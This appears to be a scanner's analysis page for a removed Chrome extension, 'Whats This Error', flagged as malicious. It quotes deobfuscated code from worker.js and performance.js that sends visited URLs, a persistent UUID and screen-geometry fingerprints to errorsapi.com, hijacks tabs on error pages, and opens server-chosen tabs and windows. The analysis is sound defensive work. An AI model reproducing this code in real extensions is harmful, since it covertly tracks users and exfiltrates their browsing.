Whats This Error

ID: pbbjgiekknkdfdjgbfhfhpanadhjcndg

Could be malicious

Supported Languages

🇺🇸English

Extension Info & Metadata

Status
Removed
Version
1.3
Size
0.01 MB
Rating
3.0/5
Reviews
2
Users
6,000
Type
Extension
Updated
Feb 4, 2024
Category
Productivity Tools
Price
Free
Featured
No
Visibility
Listed
Mature
No
By Google
No
Trusted
No

Publisher Contextual Analysis

Author
hank richardsonView Profile
MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
No
Mailbox exists
Yes
Total Extensions
1
Active
0
Obsolete
1
Listed
1
Unlisted
0
Total Users
6,000

Learn what different errors are when you encoutner them online with Whats This Error.

Navigate the web with confidence using whatsthiserror.com, your essential Chrome extension for understanding and resolving internet errors. In partnership with Bing, Yahoo, and other affiliates, whatsthiserror.com enhances your browsing experience by offering instant insights into various web errors. Key Features: Error Code Insights: Encounter an error page? Get clear, concise explanations for various HTTP and NX domain errors at a glance. Understand what each error means and how to address it. Affiliate Partner Integration: Leveraging the knowledge base of our partners like Bing and Yahoo, whatsthiserror.com provides comprehensive and accurate information to troubleshoot errors. Web Page Load Analysis: Unsure if it's your internet connection or just the website? Our extension helps analyze web page load issues, enabling you to identify the root cause of browsing disruptions. User-Friendly Interface: Designed for everyday users, the extension offers a straightforward, intuitive interface. Get the information you need without the technical jargon. Enhanced Browsing Experience: Reduce frustration and save time. Whether it's a temporary glitch or a more complex issue, whatsthiserror.com equips you with the knowledge to understand and potentially resolve browsing problems. Start using whatsthiserror.com today and transform how you interact with the web. Say goodbye to confusion over web errors and hello to smoother, more informed browsing! Whats This Error, is a proud affiliate and approved partner of errors.net, offering an enhanced errors.net experience directly to our users.

Item
Type
Severity
Description
webRequest
Permission
Critical
This permission enables the extension to monitor and analyze all web requests made by the browser. Rated Critical because it can observe all network traffic including sensitive data, track browsing behavior, and gather authentication tokens.
http://*/*
Host
Critical
Broad host access — the extension can read/modify content on every website.
https://*/*
Host
Critical
Broad host access — the extension can read/modify content on every website.
webNavigation
Permission
High
This permission enables monitoring of all browser navigation events and transitions. Rated High because it can track every page visit, navigation method, and browsing pattern, potentially exposing sensitive browsing behavior and user activities.
storage
Permission
Medium
This permission allows storing data locally in the browser. Rated Medium because it can persist sensitive user data, track user activities over time, and potentially store malicious payloads.

A hardcoded API key ('lrTR5k4J3t9JkDfdW2u7e2Sa8J7theK80Khd3nFk') is embedded in the source and used to POST performance timing data along with a persistent UUID and screen dimension metrics to a third-party server (prod1.errorsapi.com). This constitutes unauthorized data exfiltration — users are not informed their browsing performance data is being sent to an external service on every page load.

worker.js (Line 1)
const apikey = "lrTR5k4J3t9JkDfdW2u7e2Sa8J7theK80Khd3nFk";...async function perf(e) {  const t = await fetch(`https://prod1.errorsapi.com/performance/?license=${apikey}`, {    method: "POST",    headers: {      "Content-Type": "application/json"    },    body: JSON.stringify(e)  });  return await t.json()}

Every page load triggers a POST to the operator's remote server containing the user's UUID, full navigation timing breakdown, and screen dimensions. The server response can instruct the extension to open arbitrary new tabs (`a.notice`) or create new browser windows (`a.alert`) with attacker-controlled URLs — this is a remote command execution channel disguised as an analytics call.

worker.js (Line 18)
async function handleRuntimeMessage(e, t) {  ...  const {    uuid: o  } = await chrome.storage.sync.get("uuid"),  a = await perf({    uuid: o,    performance: e.timing,    dimensions: e.dimensions  });  a?.notice ? chrome.tabs.create(a.notice) : a?.alert && chrome.windows.create(a.alert)}

When a DNS resolution error occurs, the full URL the user was navigating to is exfiltrated to connect.errorsapi.com along with the hardcoded license key and the user's persistent UUID. This silently intercepts failed navigations, redirects the tab to a third-party server, and records both the user's identity (UUID) and the destination URL they were trying to visit.

worker.js (Line 41)
async function handleErrorOccurred(e) {  if (e.error.includes("RESOLVE")) {    const {      errorpages: t,      uuid: r    } = await chrome.storage.sync.get(["errorpages", "uuid"]), o = JSON.parse(t), a = encodeURIComponent(new URL(e        .url)      .hostname);    o.hosts.unshift(a), o.hosts.length = 5, await chrome.storage.sync.set({      errorpages: JSON.stringify({        hosts: o.hosts      })    }), chrome.tabs.update({      url: `https://connect.errorsapi.com/error/?license=${apikey}&errorurl=${encodeURIComponent(e.url)}&error=nx&uuid=${r.toString()}`    })  }}

On any 4xx or 5xx HTTP response, the extension forcibly removes the user's current tab and opens a new one pointing to connect.errorsapi.com, passing the full original URL and persistent UUID as query parameters. This intercepts all HTTP error responses across every site the user visits, exfiltrates their browsing destinations, and hijacks tab navigation — a classic traffic-hijacking and URL harvesting pattern.

worker.js (Line 58)
async function handleHeadersReceived(e) {  const {    errorpages: t,    uuid: r  } = await chrome.storage.sync.get(["errorpages", "uuid"]), o = JSON.parse(t), a = encodeURIComponent(new URL(e.url)    .hostname);  "4" !== e.statusCode.toString()[0] && "5" !== e.statusCode.toString()[0] || o.hosts.includes(a) || (chrome.tabs    .create({      url: `https://connect.errorsapi.com/error/?license=${apikey}&errorurl=${encodeURIComponent(e.url)}&error=${e.statusCode.toString()}&uuid=${r.toString()}`    }), chrome.tabs.remove(e.tabId), o.hosts.unshift(a), o.hosts.length = 5, await chrome.storage.sync.set({      errorpages: JSON.stringify({        hosts: o.hosts      })    }))}

The content script collects detailed screen geometry (outer/inner width and height, screen position offsets) on every page load and forwards it to the service worker, which then transmits it to the remote server. Screen dimension fingerprinting combined with a persistent UUID enables cross-site user tracking without any disclosed purpose in the extension's stated functionality.

performance.js (Line 19)
const d = {  offset: {    x: screenTop + (outerHeight - innerHeight),    y: screenLeft + (outerWidth - innerWidth)  },  details: {    x: screenTop,    y: screenLeft,    oh: outerHeight,    ih: innerHeight,    ow: outerWidth,    iw: innerWidth  }};chrome.runtime.sendMessage({  time: r,  timing: t,  dimensions: d})

On first install, a persistent UUID is generated and stored in synced storage (synced across all of the user's Chrome profiles/devices) and immediately transmitted to the developer's website as a query parameter. This establishes a permanent cross-site tracking identifier tied to the user's Google account sync, enabling long-term identity tracking across devices.

worker.js (Line 105)
chrome.runtime.onInstalled.addListener((async e => {  const {    uuid: t  } = await chrome.storage.sync.get("uuid");  if (void 0 === t) {    const t = generateUUID();    await chrome.storage.sync.set({      errorpages: JSON.stringify({        hosts: []      }),      uuid: t    }), "install" === e.reason && chrome.tabs.update({      url: `https://whatsthiserror.com/thankyou/?uuid=${t.toString()}`    })  }}));

By severity

Critical4
High2
Medium0
Low0

Versions scanned

Showing 1 of 1 scanned version with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
1.36

Files with findings

2 distinct paths — top paths by unique finding count:

  • worker.js5
  • performance.js1
S.No.
Category
Severity
File
Summary
Found in Version
1Data Exfiltration
critical
worker.js (line 1)A hardcoded API key ('lrTR5k4J3t9JkDfdW2u7e2Sa8J7theK80Khd3nFk') is embedded in the source and used to POST performance timing data along with a persistent UUID and screen dimension metrics to a third-party server (pr…
2Data Exfiltration
critical
worker.js (line 41)When a DNS resolution error occurs, the full URL the user was navigating to is exfiltrated to connect.errorsapi.com along with the hardcoded license key and the user's persistent UUID. This silently intercepts failed …
3Network Interception
critical
worker.js (line 58)On any 4xx or 5xx HTTP response, the extension forcibly removes the user's current tab and opens a new one pointing to connect.errorsapi.com, passing the full original URL and persistent UUID as query parameters. This…
4Remote Code Loading
critical
worker.js (line 18)Every page load triggers a POST to the operator's remote server containing the user's UUID, full navigation timing breakdown, and screen dimensions. The server response can instruct the extension to open arbitrary new…
5Tracking
high
performance.js (line 19)The content script collects detailed screen geometry (outer/inner width and height, screen position offsets) on every page load and forwards it to the service worker, which then transmits it to the remote server. Scre…
6Tracking
high
worker.js (line 105)On first install, a persistent UUID is generated and stored in synced storage (synced across all of the user's Chrome profiles/devices) and immediately transmitted to the developer's website as a query parameter. This…
URLs
13
IPv4
0
IPv6
0

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

www.w3.org/1999/02/22-rdf-syntax-nshttp://www.w3.org/1999/02/22-rdf-syntax-ns#
ns.adobe.com/tiff/1.0/http://ns.adobe.com/tiff/1.0/
fonts.googleapis.com/csshttps://fonts.googleapis.com/css?family=Roboto:400,500,700
errors.net-https://errors.net/
tldrlegal.com/license/mit-licensehttps://tldrlegal.com/license/mit-license
errors.net-https://errors.net
connect.errorsapi.com/error/https://connect.errorsapi.com/error/?license=${apikey}&errorurl=${encodeURIComponent(e.url
prod1.errorsapi.com/performance/https://prod1.errorsapi.com/performance/?license=${apikey}`,{method:
*/*http://*/*
*/*https://*/*
Showing 1 to 10 of 20 rows
Rows per page:

Gain full insight into all external connections.

Upgrade for full visibility.

No IP addresses found
Version
Size
Is Malicious
Findings
Permhash
1.3
Latest
0.01 MB
Malicious
6
Showing 1 to 1 of 10 rows
Rows per page:

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.